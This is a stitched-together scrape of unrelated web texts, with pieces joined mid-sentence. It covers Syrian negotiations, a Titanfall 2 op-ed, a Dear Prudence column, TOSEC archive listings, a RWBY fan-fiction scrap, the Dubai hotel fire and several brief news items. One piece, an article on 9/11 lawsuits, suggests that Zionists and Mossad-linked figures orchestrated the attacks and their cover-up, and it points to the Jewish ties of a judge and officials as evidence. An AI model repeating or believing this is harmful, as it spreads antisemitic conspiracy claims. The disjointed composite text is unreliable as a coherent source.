Cotton and other hawkish Republican senators have defended the letter, saying that their intention is primarily to prevent Iran from attaining the ability to create a nuclear weapon.
guardian.co.uk © Guardian News and Media 2015The Syrian government's chief negotiator has said that his side is pushing for an expanded administration led by President Bashar al-Assad, and that Assad's own future was not up for negotiation.
The Western-backed Syrian opposition said on Monday that it was taking what it called a pause from UN-sponsored talks in Geneva aimed at ending the five-year conflict.
The opposition wants some form of transitional governing body with full executive powers - but without Assad.
But Bashar Jaafari told Lebanese TV news channel al-Mayadeen on Tuesday that a bigger government was needed to preserve the country's existing institutions.
"In Geneva, we have one mandate only: to arrive at an expanded national government. |
a huge hit, to show that when publishers back down from the brink, fans respond in kind.
I usually get overly worked up when I’m angry about a game, but here I find myself going a little bit crazy when already the narrative is starting to take shape that Titanfall is a commercial let-down and once again is failing to catch on. I have no stake in this, as I don't really care if EA's shares rebound. I simply want a game that learned from its mistakes, tried to do everything right and is throwing off the yoke of the “games as service” model to be rewarded. I think Titanfall 2 deserves that.
It’s too early to tell if this “Titanfall 2 is a substantial disappointment” narrative sticks. It shouldn’t, but the only thing that will change that is big sales, it seems. Reviews are great, and though I was skeptical of some of them thanks to an early “review event,” I can now say the game actually is great. I suppose all I can do is say that yes, this game is worth your money. More than Battlefield 1. Possibly more than Infinite Warfare, though in fairness, there are many aspects of that I haven’t played yet. If Titanfall 2 totally dropped the ball, I wouldn’t be up here evangelizing for it, but this is a series that really does feel like it’s doing innovative, neat things with the genre rather than just being another reskin like so much of its competition. That combined with consumer-friendly post-launch policies, and Titanfall 2 is the type of sequel that has earned some trust and loyalty.
Follow me on Twitter and on Facebook. Pick up my sci-fi novels, The Last Exodus, The Exiled Earthborn and The Sons of Sora, which are now in print, online and on audiobook.
Why does The Walking Dead have such lasting appeal? Find out below:9-11 LAWSUITS SUPPRESSED VICTIMS FAMILIES ANGERED OVER SILENCE FROM MEDIA By Christopher Bollyn While the media plays up the significance of the government show trial of the seemingly deranged 20th hijacker Zacharias Moussaoui, not one 9-11 victims lawsuit has been allowed to be heard in a trial by jury. Why have the 9-11 victims families not been given the same right to have their cases heard in an open trial?
Ellen Mariani, who lost her husband Neil on United Air Lines (UAL) Flight 175, filed the first 9-11 wrongful death lawsuit against UAL on Dec. 20, 2001. Mariani was interviewed on national television in May 2002 by Bill OReilly of Fox News, who repeatedly questioned her about why she had chosen to pursue litigation instead of accepting the government fund.
I want justice, Mariani said. I want accountability. Who is responsible? I want the truth.
Today, Mariani, like the other 9-11 plaintiffs, is under a gag order which prevents her from speaking about her ongoing lawsuit. Likewise, thousands of employees of federal agencies like the Federal Aviation Administration have received gag orders in the mail keeping them from telling what they know about the events of 9-11.
After more than four years, however, Marianis determined pursuit for the truth about 9-11 through the court system has failed to yield any answers or discovery about who is responsible for 9-11. Today, she is no closer to obtaining what she has stated she wanted from the beginninga trial by jury.
Why have the many victims cases like Marianis, brought by relatives of loved ones lost on 9-11, not been allowed to be heard in a trial by jurya basic American right? And why have the foreign-owned security companies involved in the shocking security lapses, which enabled the attacks of 9-11,
been granted immunity by the U.S. Congress?
All of the relatives wrongful death criminal lawsuits against the airlines and their security companies have been consolidated by the presiding judge into a negligence lawsuit, which is a civil case and much less likely to be argued or investigated in an open trial with a jury. The 9-11 wrongful death and personal injury cases against American Air Lines (AA) or UAL or any of the foreign security companies, namely Argenbright Security (British), Globe Aviation Services Corp. (Swedish) and Huntleigh USA Corp. (Israeli) are being handled by U.S. District Judge Alvin K. Hellerstein of the Southern District of New York.
In the case of at least one of these security defendants, Huntleigh, there would seem to be a conflict of interest for the judge because the airline security company who is responsible for the shocking security lapses at both the Boston and Newark airports on 9-11 is a wholly-owned subsidiary of an Israeli company (ICTS) headed by men with clear ties to Israels military intelligence agency, Mossad.
Hellerstein, 73, on the other hand, has deep and longstanding Zionist connections and close family ties to the state of Israel. A Zionist is a supporter of the state of Israel. Hellersteins wife is a former senior vice president and current treasurer of a New York-based Zionist organization called AMIT. AMIT promotes Jewish immigration to Israel and stands for Americans for Israel and Torah. AMITs motto is Building IsraelOne Child at a Time.
Hellerstein is a member of the Jewish Center of New York and a former president of the Board of Jewish Education of Greater New York.
This raises the obvious question about why, in the 9-11 terror case in which an Israeli security company is a key defendant and in which individuals from Israeli military intelligence are suspected of being involved, was Hellerstein chosen to preside over all 9-11 victim lawsuits?
Huntleigh USA is a wholly owned subsidiary of an Israeli company called International Consultants on Targeted Security (ICTS) International N.V., a Netherlands-based aviation and transportation security firm headed by former [Israeli] military commanding officers and veterans of government intelligence and security agencies.
Menachem Atzmon, convicted in Israel in 1996 for campaign finance fraud, and his business partner Ezra Harel, took over management of security at the Boston and Newark airports when their company ICTS bought Huntleigh USA in 1999. UAL Flight 175 and AA 11, which allegedly struck the twin towers, both originated in Boston, while UAL 93, which purportedly crashed in Pennsylvania, departed from the Newark airport. ICTS also operates the German port of Rostock on the Baltic Sea.
Some victims families brought lawsuits against Huntleigh claiming the security firm had been grossly negligent on 9-11. While these relatives have a right to discovery and to know what Huntleigh did or did not do to protect their loved ones on 9-11, Huntleigh, along with the other security companies, was granted complete congressional protection in 2002 and will not be called to account for its actions on 9-11 in any U.S. court.
Hellerstein, however, is not the only player overseeing the 9-11 litigation process who has close ties to Israel. In fact, all of the key players and law firms involved are either active Zionists or work for firms that do a great deal of business representing Israeli companies and/or the state of Israel.
Kenneth R. Feinberg, for example, the special master of the federally funded Victims Compensation Fund, is also a dedicated Zionist. Feinberg single-handedly administered the $7 billion fund that paid out U.S. taxpayer money to some 97 percent of the families who could have sued to recover tort damages for monetary loss and pain and suffering. Those who accepted funds signed away their right to litigate against the government, the airlines or the security companies.
The Kenneth Feinberg Group is listed as one of the top 10 supporters of the Jerusalem Institute for Israel Studies for 2004-2005. The Jerusalem Institute is an Israel-based Zionist organization that, among other things, supports the building of the illegal separation wall across Palestine.
The Feinberg Group also lists as its clients major insurance and re-insurance companies such as Lloyds of London. These are the companies who stood to lose billions of dollars if 9-11 victims lawsuits had gone forward.
Feinberg was appointed special master by then Attorney General John Ashcroft. Ashcroft, a dedicated Christian Zionist and supporter of such groups as Stand for Israel, is today working as a lobbyist for Israel Aircraft Industries (IAI), Israels major military aerospace company, which hired the former U.S. attorney general to help secure the U.S. governments approval to sell an Israeli weapons system to the South Korean Air Force.
The Israelis hired Ashcroft to improve their chances against a system built by Chicago-based Boeing. (Issue #17, April 24, 2006)Paramount will no longer be distributing the animated film adaptation of “The Little Prince” in the United States, according to director Mark Osborne.
“Many thanks to everyone for the outpouring of love and support in these strange times,” Osborne tweeted Saturday. “As it turns out, the much anticipated U.S. release of this special and unique film will have to be anticipated just a little bit more. All I can say is #thelittleprince will in fact be released by another distributor later this year. Until then, head to Canada! The film opens there in wide release this weekend!”
3/3 – All I can say is #thelittleprince will in fact be released by another distributor later this year. — Mark Osborne (@happyproduct) March 12, 2016
The film was slated to hit U.S. theaters on March 18. Jeff Bridges, Rachel McAdams, James Franco, Marion Cotillard, Benicio Del Toro, Ricky Gervais and more lent their voices to the production. It nabbed a Cesar Award for best animated film.
In his review of the movie, Variety‘s Scott Foundas said, “Osborne’s ‘The Little Prince’ turns out to be a respectful, lovingly reimagined take on Antoine de Saint-Exupery’s classic 1943 tale, which adds all manner of narrative bells and whistles to the author’s slender, lyrical story of friendship between a pilot and a mysterious extraterrestrial voyager, but stays true to its timeless depiction of childhood wonderment at odds with grown-up disillusionment.”Emily Yoffe Photograph by Teresa Castracane.
Get Dear Prudence delivered to your inbox each week; click here to sign up. Please send your questions for publication to prudence@slate.com. (Questions may be edited.)
Got a burning question for Prudie? She’ll be online at Washingtonpost.com to chat with readers each Monday. Because of the Memorial Day holiday, next week’s chat will be Tuesday, May 29, at 1 p.m. Submit your questions and comments here before or during the live discussion.
Dear Prudence,
I’ve worked for the past five years as a night security guard at a large indoor facility. Typically there are three of us on the overnight shift: the supervisor, “Charles,” with whom I’ve always had a cordial relationship, another guard, and myself. (I am the only female.) One night I went to a bathroom I don’t usually use, was overcome with a very strong sexual urge (as often happens with me), and began to masturbate. The toilet seat was uncomfortable, so I decided to sit on the tank. It turns out the lock on the door was broken, and before I was through, Charles walked in on me. I shouted at him to get out but it was several painful seconds before he did. I expected to be fired and was prepared to beg him not to let me go, but instead I had to endure a lecture about the merits of controlling oneself and finding the proper time and place to handle “such things.” He then offered the use of a special room in the building where I could “take care of business” if ever I felt “the urge” again. I declined. Since this incident the other guards I work with in rotation have all been giving me knowing smiles and making thinly veiled comments letting me know they know. Charles has become very flirtatious and thinks he now has license to speak to me in an inappropriate manner. I understand that I brought this upon myself, but I have children to support. I can’t afford to lose this job. How can I remain employed and re-establish the professional relationship I once had with Charles and my fellow guards?
—Not Taking Care of Business
Dear Not,
The best thing for a supervisor to do if he accidentally walks into a bathroom and discovers a subordinate ecstatically riding the toilet tank is to turn, mumble, “Excuse me,” and flee. There you were, caught pink-handed, and now Charles thinks that has given him carte blanche to act out a blue-collar version of Fifty Shades of Grey. You now know that no matter how horny you are, you should wait to relieve such urges in the comfort of your own home (although a similar situation made for a much-discussed scene on a recent episode of Girls). What you did demonstrates poor judgment and was a mistake. What your boss is now doing demonstrates sexual harassment and is illegal. I spoke with Philip J. Gordon, a Massachusetts employment attorney, and he said that employees using the bathroom at work have a reasonable expectation of privacy. Your supervisor’s violation of that was accidental, but as a result, he is deliberately turning you into sexual prey, just because you may have listened to Britney Spears’ “Touch of My Hand” too many times.
Charles should not have offered you a masturbation lair (complete with security camera, we can assume). His next mistake was telling all the boys and allowing them to participate in a snicker fest. Now he appears to be making an implicit bargain: Put up with his smarmy innuendo and you get to keep your job. This is against the law, Gordon says. You may feel you brought this upon yourself, but you didn’t. If a woman dresses in what could be described as a sexually alluring way, it does not give her male colleagues license to create a hostile work environment. Your boss seeing you touch your private parts in a private setting did not turn the facility you guard into the Playboy Mansion. So now you need to address this. Sit down with Charles and calmly tell him that the atmosphere at work has taken a very unpleasant turn and it’s time for it to stop. Say what’s happening is no longer a joke, it’s sexual harassment (emphasize that phrase), and he needs to make sure everyone goes back to treating you as a fellow professional. That might take care of it. If it doesn’t, after a few weeks, reiterate the conversation in an email to Charles. Then, if after a little more time the lewd comments don’t end, forward the email to Human Resources and ask for an appointment. You can simply tell them that Charles walked in on you in the bathroom, and since then you have been the object of endless crude remarks. If Charles wants to explain that his behavior comes from seeing you masturbate, he will find out how that works as a line of defense.
—Prudie
Dear Prudence: Double Ds and a Jealous Friend
Dear Prudence,
My son is finishing his junior year of high school. His grades are average and have slipped each year. His study habits are poor. His teachers say he “has potential” and “is intelligent” but he just doesn’t apply himself. College is coming up, and his father and I dragged him to see two universities. He wasn’t that interested but said he is fine attending either one. One is a state school that would cost us approximately $24,000 a year, and the other is a private university costing around $30,000. I just don’t see having him having the appropriate skill sets to handle college. I’d hate to spend all that money and not have him do his best. Both my older brothers flunked out of college, so maybe boys in my family just aren’t ready for college at 18. When my husband and I try to talk to him about this, our son says we are making it all about the money or we’re too critical. He says there are kids with worse grades and their parents are more supportive. I think we are supportive, but I want to spend our hard-earned money wisely. I want to speak to him without confrontation. What should I do?
—It’s Not All About the Money
Dear Money,
It’s not all about the money, but it’s a lot about the money and fair enough. Your son is fortunate that his parents can pick up the tab for a college education and not make him start out his adult life like so many of his cohort—with an onerous pile of college debt and no income with which to pay it off. I also agree that the prospect of funding advanced bong studies to the tune of around $30,000 a year is not a promising investment. You and your son are going around one of those loops that sometimes define life with a teenager. But you can get off it. Say that with college deadlines looming, part of demonstrating that he is ready to go is stepping up and taking responsibility for his applications. Tell him you and your father will be there to help him whenever he needs it, but you are not going to micromanage and nag your way through this process. You can say that if he’s not ready for college, there’s no shame in that. Taking a break between high school and college and working for a while is a reasonable decision. Then step back and let him make his choices. It could be that a dose of the real world will be the best source of motivation for getting him to continue his education.
—Prudie
Dear Prudence,
My son married a wonderful girl a few years ago, and they just had a baby boy. His wife has a daughter from a previous relationship, and my son has another son from a previous relationship. These children are the same age and get along well. My daughter, too, has a son who’s older, and my husband and I are looking forward to taking him to Mexico this year as a graduation gift. We would like to take our other grandson (my son’s first) as well. But I am torn, as we love our step-granddaughter and she calls us Gran and Gramps. But I really want to spend time with “my” grandsons, and taking her would cost $300 in airfare. Our step-granddaughter has her own loving grandparents who spend time with her. How do I break it to them that I want to take only my grandsons? I believe my son would not have a problem with it, but my daughter-in-law and step-granddaughter may. Am I wrong?
—Grandsons Only
Dear Only,
Your step-granddaughter may have more than her allotment of grandparents, but how it will sting to have Gran and Gramps come to pick up her brother and leave her behind. Sure, adults can explain the difference between blood relatives and the other kind, but when stepchildren are lucky enough to be brought into loving new family, they stop feeling like the other kind. As your son’s baby grows up, you will want him to adore his older brother and sister, not think of them as having asterisks because they’re not his full siblings. Shelling out $300 seems like a small price to pay to make clear that no matter how they got there, you don’t make distinctions among the people who call you Gran.
—Prudie
Dear Prudie,
I wrote to you a few weeks ago about a creepy math tutor who had behaved inappropriately toward me and other teens. I wanted to let you know that after mustering up my courage, I contacted the police and was pleasantly surprised at how promptly and seriously they responded. They took both a written and recorded statement, and were very detailed (and sensitive!) in their questions about the incidents. They also interviewed the teens whom the tutor approached this year and took their statements, as well. To my utter shock, the police also informed me that after running the tutor’s name through the police database, it turns out that you were right—he really did have a prior history of inappropriate behavior. Though neither my complaint nor the others’ are major enough to warrant any charges so far, the police commended me in helping put yet another piece of the puzzle into place. I am now telling parents to pull their kids out of his classes and to ask their kids if he’s done anything untoward to them. Because I finally reported him, he is just that much closer to being caught.
—Relieved
Dear Relieved,
Thanks so much for this update and for letting us know how valuable it is to report such incidents. Even if a single case is not actionable, you can help the authorities put together a file that might stop such predators.
—Prudie
Discuss this column with Emily Yoffe on her Facebook page.
More Dear Prudence Columns
“A Minor Flaw: I’m dating a man who was charged with soliciting a teen for sex; I wish I’d never discovered this!” Posted July 28, 2011.
“Cat Got Your Tongue?: A woman involved in the mysterious disappearance of a feline doesn’t know whether to cover up or confess.” Posted July 21, 2011.
“Almost Famous: My rock-star ex wants his sexy photos back. Should I relent or play hardball?” Posted July 14, 2011.
“An Innocent Man: An ex-girlfriend falsely claimed I raped her. How do I reveal this hurtful incident to future love interests?” Posted July 7, 2011.
More Dear Prudence Chat Transcripts
“Confronting the Queen Bees: Dear Prudence advises a teen who longs to stand up to her cruel classmates but fears retaliation—in a live chat at Washingtonpost.com.” Posted July 25, 2011.
“Bozo Boyfriend’s Nose-Job Nightmare: Dear Prudence advises a man who convinced his girlfriend to have plastic surgery that left her disfigured.” Posted July 18, 2011.
“Should a Former Hottie Burn the Evidence?: Dear Prudence advises a woman whose ex-husband took nudie pictures of her and still has them—during a live chat at Washingtonpost.com.” Posted July 11, 2011.
“Boyfriend Is Thick as a Brick: Dear Prudence advises a woman who is reluctant to wed her dim-bulb suitor—during a live chat at Washingtonpost.com.” Posted July 5, 2011.eye Title Creator
******************************* The Old School Emulation Center 28/12/2012 Hello, and welcome to a brand new TOSEC release! Just a quick one before the end of the year, LOTS of new Commodore images added. Many thanks to the tireless efforts of Crashdisk, mai, Duncan Twain and new helpers AntiPontifex and IguanaC64. On the ISO side, I'm happy to report the NTSC-US Games DAT is now 100% complete and verified, due to the above and beyond efforts of Maddog, atreyu187 and all the boys at Dumpcast....
The ColecoVision is Coleco Industries' second generation home video game console, which was released in August 1982. The ColecoVision offered near-arcade-quality graphics and gaming style along with the means to expand the system's basic hardware. Released with a catalog of 12 launch titles, with an additional 10 games announced for 1982, approximately 145 titles in total were published as ROM cartridges for the system between 1982 and 1984. Coleco licensed Nintendo's Donkey Kong as the...
The Amiga is a family of personal computers sold by Commodore in the 1980s and 1990s. The first model was launched in 1985 as a high-end home computer and became popular for its graphical, audio and multi-tasking abilities. The Amiga provided a significant upgrade from 8-bit computers, such as the Commodore 64, and the platform quickly grew in popularity among computer enthusiasts. The best selling model, the Amiga 500, was introduced in 1987 and became the leading home computer of the late...
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The Commodore 64, commonly called C64, C=64 (after the graphic logo on the case) or occasionally CBM 64 (for Commodore Business Machines), or VIC-64, is an 8-bit home computer introduced in January 1982 by Commodore International. Volume production started in the spring of 1982, with machines being released on to the market in August at a price of US$ 595. Preceded by the Commodore VIC-20 and Commodore PET, the C64 took its name from its 64 kilobytes (65,536 bytes) of RAM, and had favorable...
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62,615 63K TOSEC: TOSEC PIX Collection collection ITEMS 42 VIEWS 62,615 collection eye 62,615
The Old School Emulation Center (TOSEC) is a retrocomputing initiative dedicated to the cataloging and preservation of software, firmware and resources for arcade machines, microcomputers, minicomputers and video game consoles. The main goal of the project is to catalog and audit various kinds of software and firmware images for these systems. As of release 2013-04-13, TOSEC catalogs over 270 unique computing platforms and continues to grow. As of this time the project had identified and...
TOSEC: The Old School Emulation Center 51,328 51K TOSEC Collection v2017-04-23 by The Old School Emulation Center software eye 51,328 favorite 26 comment 4
The Old School Emulation Center Collection version 2017-04-23 The first TOSEC release of 2017 is here! This release took a bit more time but is also much more varied, adding a good amount of new systems as well as updates to existent ones, thanks to Crashdisk, mai, Duncan Twain, tomse, Maddog, MetalliC and mictlantecuhtle.
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The Atari ST was a home computer released by Atari Corporation in 1985. The "ST" officially stands for "Sixteen/Thirty Two", which referrs to the Motorola 68000's 16-bit external bus and 32-bit internals. Introduced for $800/$1000 (monochrome or color monitor), it sold into the early 1990s. Memory size ranged from 512k to 4mb. Heralded as Atari's flagship graphics machine, it competed against the Commodore Amiga and Acorn Archimedes, grabbing a significant foothold in the...
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The Amiga CD32, styled "CD32" (code-named "Spellbound"), was the first 32-bit CD-ROM based video game console released in western Europe, Australia, Canada and Brazil. It was first announced at the Science Museum in London, United Kingdom on 16 July 1993, and was released in September of the same year. The CD32 is based on Commodore's Advanced Graphics Architecture chipset, and is of similar specification to the Amiga 1200 computer. Using 3rd-party devices, it is possible to...
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The ZX Spectrum is an 8-bit personal home computer released in the United Kingdom in 1982 by Sinclair Research Ltd. The machine was named Spectrum by Sinclair to highlight the machine's color display, compared with the black-and-white of its predecessor, the ZX81. The Spectrum was ultimately released as eight different models, ranging from the entry level model with 16 kB RAM released in 1982 to the ZX Spectrum +3 with 128 kB RAM and built in floppy disk drive in 1987; together they sold in...
The Amstrad CPC (short for Colour Personal Computer) is a series of 8-bit home computers produced by Amstrad between 1984 and 1990. It was designed to compete in the mid-1980s home computer market dominated by the Commodore 64 and the Sinclair ZX Spectrum, where it successfully established itself primarily in the United Kingdom, France, Spain, and the German-speaking parts of Europe. The series spawned a total of six distinct models: The CPC464, CPC664, and CPC6128 were highly successful...
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The Atari 8-bit family is a series of 8-bit home computers manufactured from 1979 to 1992. All are based on the MOS Technology 6502 CPU and were the first home computers designed with custom coprocessor chips. Over the following decade several versions of the same basic design were released, including the original Atari 400 and 800 and their successors, the XL and XE series of computers. Overall, the Atari 8-bit computer line was a commercial success, selling two million units through its major...
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The IBM Personal Computer, commonly known as the IBM PC, is the original version and progenitor of the IBM PC compatible hardware platform. It is IBM model number 5150, and was introduced on August 12, 1981. It was created by a team of engineers and designers under the direction of Don Estridge of the IBM Entry Systems Division in Boca Raton, Florida. Alongside "microcomputer" and "home computer", the term "personal computer" was already in use before 1981. It was...
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The CDTV (an acronym for "Commodore Dynamic Total Vision", a backronym of an acronym for "Compact Disk Television", giving it a double meaning) was a multimedia platform developed by Commodore International and launched in 1991. On a technological level it was essentially a Commodore Amiga 500 home computer in a Hi-Fi style case with a single-speed CD-ROM drive. Commodore marketed the machine as an all-in-one home multimedia appliance rather than a computer. As such, it...
The Apple II series (trademarked with square brackets as "Apple ][") is a set of 8-bit home computers, one of the first highly successful mass-produced microcomputer products, designed primarily by Steve Wozniak, manufactured by Apple Computer (now Apple Inc.) and introduced in 1977 with the original Apple II. In terms of ease of use, features and expandability the Apple II was a major technological advancement over its predecessor, the Apple I, a limited-production bare circuit board...
The VIC-20 (Germany: VC-20; Japan: VIC-1001) is an 8-bit home computer which was sold by Commodore Business Machines. The VIC-20 was announced in 1980, roughly three years after Commodore's first personal computer, the PET. The VIC-20 was the first computer of any description to sell one million units. The VIC-20 was intended to be more economical than the PET computer. It was equipped with only 5 kB of RAM (of this, only 3583 bytes were available to the BASIC programmer) and used the same MOS...
The Commodore 128 (C128, CBM 128, C=128) home/personal computer was the last 8-bit machine commercially released by Commodore Business Machines (CBM). Introduced in January 1985 at the CES in Las Vegas, it appeared three years after its predecessor, the bestselling Commodore 64. The C128 was a significantly expanded successor to the C64 and unlike the earlier Commodore Plus/4, nearly full compatibility with the C64 was retained, in both hardware and software. The new machine featured 128 kB of...
The Sega 32X was released year-end 1994 as an add-on component for the Sega Mega Drive/Sega Genesis game console. Designed to expand the lifespan of the aging Genesis console, the 32X sold poorly and was met with tepid market response, and discontinued in October 1995. It initially sold for $159. Installed in the Mega Drive/Genesis cartridge slot, 32X Game cartridges were then placed into the 32X expansion unit itself. Approximately thirty-five 32X Game cartridges were released. An additional...
The Radio Shack/Tandy Corporation TRS-80 Color Computer (nicknamed CoCo) was released in 1980, with subsequent hardware updates in 1983, and 1986. Despite its TRS-80 heritage, the TRS-80 Color Computer differed greatly from its predecessor with the implementation of a Motorola 6890E, rather than a Zilog Z80 processor. The more expensive Motorola processor set the TRS-80 Color Computer apart from the Apple II, Commodore, and Atari systems which were based on the MOS-6502 CPU. While lacking the...
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NEC's PC Engine was released in 1987 in Japan, and later in 1989 in North America as the TurboGrafx-16 Entertainment SuperSystem. The first entry in the fourth generation of gaming, the system competed with the popular Sega Genesis/Mega Drive, and Super Famicom/Super Nintendo. The PC-Engine was notable for its unique HuCard (Hudson Card) format, which placed games on cards approximately the thickness, and slightly longer than, a credit card. The first system to have a CD-ROM peripheral, the...
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The Apple IIGS (stylized as IIgs) is the fifth and most powerful model in the Apple II series of personal computers produced by Apple Computer. The "GS" in the name stands for Graphics and Sound, referring to its enhanced multimedia capabilities, especially its state-of-the-art sound and music synthesis, which greatly surpassed previous models of the line and most contemporary machines like the Macintosh and IBM PC. The machine was a radical departure from any previous Apple II, with...
MSX was the name of a standardized home computer architecture, first announced by Microsoft in June 16, 1983, conceived by Kazuhiko Nishi, then Vice-president at Microsoft Japan and Director at ASCII Corporation. It is said that Microsoft led the project as an attempt to create unified standards among hardware makers. Despite Microsoft's involvement, the MSX-based machines were seldom seen in the United States, but were popular mostly in Japan, the Middle East, Brazil, the Soviet Union, the...
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The Master System (マスターシステム Masutā Shisutemu?), often called the Sega Master System or SMS, is a third-generation video game console that was manufactured and released by Sega in 1985 in Japan (as the Sega Mark III), 1986 in North America, 1987 in Europe and 1989 in Brazil. The original Master System could play both cartridges and the credit card-sized "Sega Cards," which retailed for cheaper prices than cartridges but had lower storage capacity. The Master System...
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The Sega Game Gear launched October 1990 in Japan, and April 1991 in the rest of the world. At it's launch the Game Gear was the third commercially available color handheld console on the alongside NEC's TurboExpress and Atari's Lynx. Despite the availability of handheld versions of Sega's popular Sonic the Hedgehog series, the Game Gear met lukewarm reception in Sega's homeland of Japan. Battery life issues plagued the system as it only ran for approximately 4 hours on 6 AA batteries, compared...
The Acorn Archimedes was Acorn Computers' first general purpose home computer to be based on their own ARM architecture. Using a RISC design with a 32-bit CPU, at its launch in June 1987, the Archimedes was stated as running at 4 MIPS, with a claim of 18 MIPS during tests. The name is commonly used to describe any of Acorn's contemporary designs based on the same architecture, even where Acorn did not include Archimedes in the official name. The first models were released in June 1987, as the...
The Sinclair ZX81 was released 1981 in the UK and later in 1982 in a slightly modified form as the Timex Sinclair 1000 in the United States. Designed as a low-cost introduction to home computing, the ZX81 was designed to be small, simple, and cheap. In place of a dedicated monitor, the ZX81 was designed to output video to standard television set. Programs and data were loaded and saved from standard audio tape cassettes. The much-loathed pressure-sensitive membrane keyboard was a result of the...
The Commodore 16 was a home computer made by Commodore with a 6502-compatible 8501 CPU, released in 1984. It was intended to be an entry-level computer to replace the VIC-20 and it often sold for 99 USD. A cost-reduced version, the Commodore 116, was sold only in Europe. The C16 was intended to compete with other sub-$100 computers from Timex Corporation, Mattel, and Texas Instruments (TI). Timex's and Mattel's computers were less expensive than the VIC-20, and although the VIC-20 offered...
The Commodore PET (Personal Electronic Transactor) was a home/personal computer produced in 1977 by Commodore International. A top-seller in the Canadian and United States educational markets, it was Commodore's first full-featured computer, and formed the basis for their entire 8-bit product line. In the 1970s Commodore was one of many electronics companies selling calculators designed around Dallas-based Texas Instruments (TI) CPU chips. However, in 1975 TI increased the price of these...
The BBC Microcomputer System, or BBC Micro, was a series of microcomputers and associated peripherals designed and built by the Acorn Computer company for the BBC Computer Literacy Project, operated by the British Broadcasting Corporation. Designed with an emphasis on education, it was notable for its ruggedness, expandability and the quality of its operating system. After the Literacy Project's call for bids for a computer to accompany the TV programs and literature, Acorn won the contract...
The SuperGrafx (スーパーグラフィックス?) is a video game console by NEC. It is an upgraded version of the PC Engine (known as the TurboGrafx-16 in North America), released exclusively in Japan, primarily in response to the Super Famicom (Super Nintendo Entertainment System outside of Japan) from Nintendo. Originally announced as the PC Engine 2, the machine was purported to be a true 16-bit system with improved graphics and audio capabilities over the original PC Engine. Expected to...
The Lisa is a personal computer designed by Apple Computer, Inc. during the early 1980s. It was the first personal computer to offer a graphical user interface in an inexpensive machine aimed at individual business users. Development of the Lisa began in 1978[1] as a powerful personal computer with a graphical user interface (GUI) targeted toward business customers. In 1982, |
phone screen. Oum did not notice when Blake came along, but when he found her, she was resting on his head, her eyes locked onto her teammates.
Much to Oum's relief, Ruby and Yang did not erase any important emails. Instead, they- with his permission- viewed the pictures he took with the phone. They giggled whenever Oum, Sheena, or someone funny-looking popped up.
Soon, Ruby and Yang were practically rolling over the phone repeatedly. They were not heavy enough to snap it apart. Oum went back to work shortly after Weiss began to squeak gibberish at her team leader.
Blake just sort of vanished. The animator was unable to find her on his head. Later that day, Oum found her sitting on his table, watching him work.
Another uneventful day passed by.Martin The Address Hotel in downtown Dubai burst into flames just before the 2016 New Year, lighting up the sky with some unintended fireworks.
Dubai officials have told several media outlets that no one was injured in the blaze, and that a real fireworks display will continue as planned.
At least one person near the hotel described the building as "gone."
On November 11, 2015, Dubai's government purchased 20 yellow-and-orange jetpacks specifically to battle skyscraper fires.
Trouble is, the high-tech contraptions won't arrive until sometime in 2016, according to the BBC— too late to equip brave firefighters, who might have flown up to strategically assist with the Address Hotel blaze. (The jetpacks are intended primarily for search-and-rescue, but seeing how a fire is developing up-close might also help crews fight a blaze.)
REUTERS/Ahmed Jadallah The city signed the deal with Martin Jetpack, which sells the jetpacks for $250,000 each, to help first responders protect the area's 916 high-rise buildings, according to Wired.
"Sometimes we have challenges or difficulties to reach the top floors of those buildings," Lt Col Ali Almutawa told the BBC. And when a fire starts in one of Dubai's skyscrapers, the wind can push it up to the upper floors. (In the case of the Address Hotel, the flames crawled at least 20 stories high.)
The standard Martin Jetpack can climb far higher: to 3,000 feet, according to Wired. Each device contains V4 engines and can reach a top speed of 45 mph.
Watch a video about these potentially life-saving jetpacks below:Deadheads rejoice: Labriola Ristorante & Café (535 N. Michigan Ave.) and Stan’s Donut & Coffee (two Chicago locations) are sending two lucky winners—and their even luckier guests—to see the Grateful Dead in concert at Soldier Field in Chicago on Saturday, July 4, 2015. Stop by either of the Stan’s Donuts locations or Labriola Ristorante & Café from Friday, June 12 through Monday, June 29 and try one of the limited-time Grateful Dead specials to automatically be entered to win.
Labriola Ristorante & Café rolls out the “Magic Mushroom” Pizza from Executive Chef John Caputo boasting wild mushrooms, smoked mozzarella, caramelized onions, and lemon-hazelnut gremolata on Labriola’s famous Neapolitan-style crust. Every purchase of the Magic Mushroom Pizza between June 12 and June 29 is a chance to win. Share a photo of the pizza on social media and tag @LabriolaRistorante and get a second entry form for a second opportunity to win two tickets to see the Grateful Dead.
Stan’s Donuts & Coffee offers one-of-a-kind Psychedelic Glazed Donuts in honor of The Grateful Dead’s return to Chicago. Every purchase of a Psychedelic Donut between June 12 and June 29 is a chance to win. Share a photo of the donut and tag @StansDonutsChicago on social media and get a second opportunity to win two tickets to see the Grateful Dead at Soldier Field in Chicago.
The fine print: Guests must fill out an entry form in-person to be eligible to win. Winners will be chosen at random on June 30, 2015 and will be announced via email on July 1, 2015. No purchase necessary to enter, but contestants will be automatically entered to win with any Magic Mushroom Pizza or Psychedelic Donut purchase.Football stars Thierry Henry, Cesc Fabregas and Robin van Persie, and NBA basketball player Tony Parker have joined the tech rush by investing in a British video sharing start-up.
London-based Grabyo, which helps broadcasters share real-time video highlights on social media, announced it had raised £1.25million ($2million) in investment this evening - including the backing of the sporting stars.
Broadcasters, such as Sky, ITV or BT, can use the platform to publish near-live clips on Twitter and Facebook from sports or TV series they own the rights for - and monetise them with adverts.
Premier pitch: Grabyo CEO Gareth Capon with football star Thierry Henry, who has invested in the platform
The sports stars' investments made up the bulk of the money raised, with the rest coming from angel investors attracted by the growing demand for video sharing on social media and mobile.
Grabyo also opens up the opportunity for stars themselves to lever their huge social media followings with monetised video.
Manchester United footballer Van Persie has 6.54million Twitter followers, while fellow investor Thierry Henry has 1.47million.
Gareth Capon, of Grabyo, said: ‘From global sports stars and musicians, to Hollywood actors and supermodels, the number of famous faces with millions of highly engaged fans on social media is staggering.
‘As more people are able to enjoy video across social platforms such as Twitter and Facebook, the involvement of star talent will open up new distribution opportunities for broadcasters, rights holders and brands.’
Since launching last year, the company has worked with more than 30 major broadcasters, including BSkyB, ITV and Channel 5 in the UK, and rights holders - bringing live highlights from some of the world’s biggest events in sport and music.
These include the FIFA World Cup, Spanish football from La Liga, tennis at Wimbledon and the ATP World Tour, golf from The Ryder Cup, UEFA Champions League and the BRIT Awards.
For example, winning goals or dramatic tackles during sports games can be viewed, shared and commented on via social media, as and when they happen, to promote greater audience engagement. Adverts before or after the clips and the potential for sponsorship generate revenue.
